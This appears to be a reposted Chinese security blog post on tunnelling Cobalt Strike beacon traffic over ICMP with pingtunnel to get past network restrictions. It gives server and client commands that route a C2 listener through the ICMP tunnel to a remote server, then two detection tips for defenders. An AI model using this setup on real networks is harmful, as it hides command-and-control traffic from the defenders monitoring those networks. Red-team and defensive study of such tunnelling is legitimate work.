0x00 前言
pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具。用于突破网络封锁,或是绕过WIFI网络的登陆验证,或是在某些网络加快网络传输速度。
项目地址:https://github.com/esrrhs/pingtunnel
适用场景 :特殊环境下icmp流量允许出网
实现原理:目标机将TCP流量封装成icmp,然后发送给服务端,服务端再从ICMP包解析出正常TCP流量最后发向cobalt strike的listener端口。
0x01 测试
Linux 服务端配置:
- 关闭linux系统icmp回应功能
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
wget https://github.com/esrrhs/pingtunnel/releases/download/2.2/pingtunnel_linux64.zip
sudo unzip pingtunnel_linux64.zip
sudo ./pingtunnel -type server
Windows 客户端配置:
这里以转发tcp为例
pingtunnel.exe -type client -l :4455 -s ServerIP -t ServerIP:4455 -tcp 1
这里监听两个Listener 其中一个host为本地127.0.0.1 listener作用是让生成出来的agent去连接127.0.0.1:4455,这样流量就能走icmp隧道。
最终实现结果如下:
0x02 防御检测
1、检测同一来源 ICMP 数据包的数量。一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道的浏览器在同一时间会产生上千个 ICMP 数据包。
2、注意网络中 ICMP 数据包中 payload 大于 64 比特的数据包。
0x03 思考
是否可以利用类似于CDN转发的手段来隐藏中转器的真实ip?
原文始发于微信公众号(零队):通过PING tunnel 转换 beacon 流量
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论